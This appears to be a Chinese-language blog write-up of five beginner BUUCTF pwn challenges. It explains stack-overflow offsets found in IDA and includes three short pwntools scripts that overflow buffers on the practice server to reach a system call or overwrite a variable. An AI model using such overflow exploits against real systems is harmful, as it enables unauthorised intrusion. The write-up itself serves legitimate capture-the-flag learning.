buuctf pwn wp(第一波)无脑AAAA系列

这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理。)
这一波题都是无脑AAAA的类型,它们的区别主要就是打入多少个填充字符A的区别,(还有接受到什么字符串的区别),反正都是最简单的一类题。
另外声明,脚本有些来自于网络上,但是我做了有一会儿了(这篇文章是我把当初做了时的记录素材拿过来做的),所以有些脚本拿的谁的我给忘了(不过这么简单的脚本应该没有大佬介意)等到后面稍微难一点的题目接近我现在的时间线,一般都是标注是参考谁的wp的

文章目录

    • test_your_nc
    • others_shellcode
    • warmup_csaw_2016
    • ciscn_2019_n_1
    • rip

test_your_nc

直接nc 然后 cat flag就好了
buuctf pwn wp(第一波)无脑AAAA系列_第1张图片

others_shellcode

连上去就有flag
buuctf pwn wp(第一波)无脑AAAA系列_第2张图片

warmup_csaw_2016

这个跟攻防世界的一题叫warmup的是一样的,只不过攻防世界那个没有给附件,是盲打的。
看见有gets的漏洞,然后点开v5

buuctf pwn wp(第一波)无脑AAAA系列_第3张图片
看到有0x40个空间,直接栈溢出打进去4*16+8=72个填充字符,然后加上system地址就好了
buuctf pwn wp(第一波)无脑AAAA系列_第4张图片
很贴心的已经给了
buuctf pwn wp(第一波)无脑AAAA系列_第5张图片
在这里插入图片描述

#!/usr/bin/python
from pwn import *

r = remote('node3.buuoj.cn', 25644)

r.recvuntil('WOW:')
address =0x000000000040060D
payload = 'A' * 72 + p64(address)

r.writeline(payload)

r.interactive()

buuctf pwn wp(第一波)无脑AAAA系列_第6张图片

ciscn_2019_n_1

先nc一下,然后checksec,(截图就省略了)
总之是64位的程序,然后扔进IDA
在这里插入图片描述
没什么东西,直接点开func()
buuctf pwn wp(第一波)无脑AAAA系列_第7张图片
看到了flag和条件,让v2=11.28125,然后还有一个gets漏洞,我们直接看v1
buuctf pwn wp(第一波)无脑AAAA系列_第8张图片
在这里
在这里插入图片描述
然后v2在这里
在这里插入图片描述
我们可以通过向v1填充字符利用栈溢出改变v2的值,让他变成11.28125
我们把两者的位置相减得到3*16-4=44=0x2C(这里不加4是因为不是函数,不需要覆盖返回地址)
buuctf pwn wp(第一波)无脑AAAA系列_第9张图片


from pwn import *

r=remote('node3.buuoj.cn',21699)

payload='a'*0x2c+p64(0x41348000)
r.recvuntil("Let's guess the number.")
r.sendline(payload)

r.interactive()

rip

from pwn import*
sh=remote('node3.buuoj.cn',26183)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()

你可能感兴趣的:(CTF,pwn)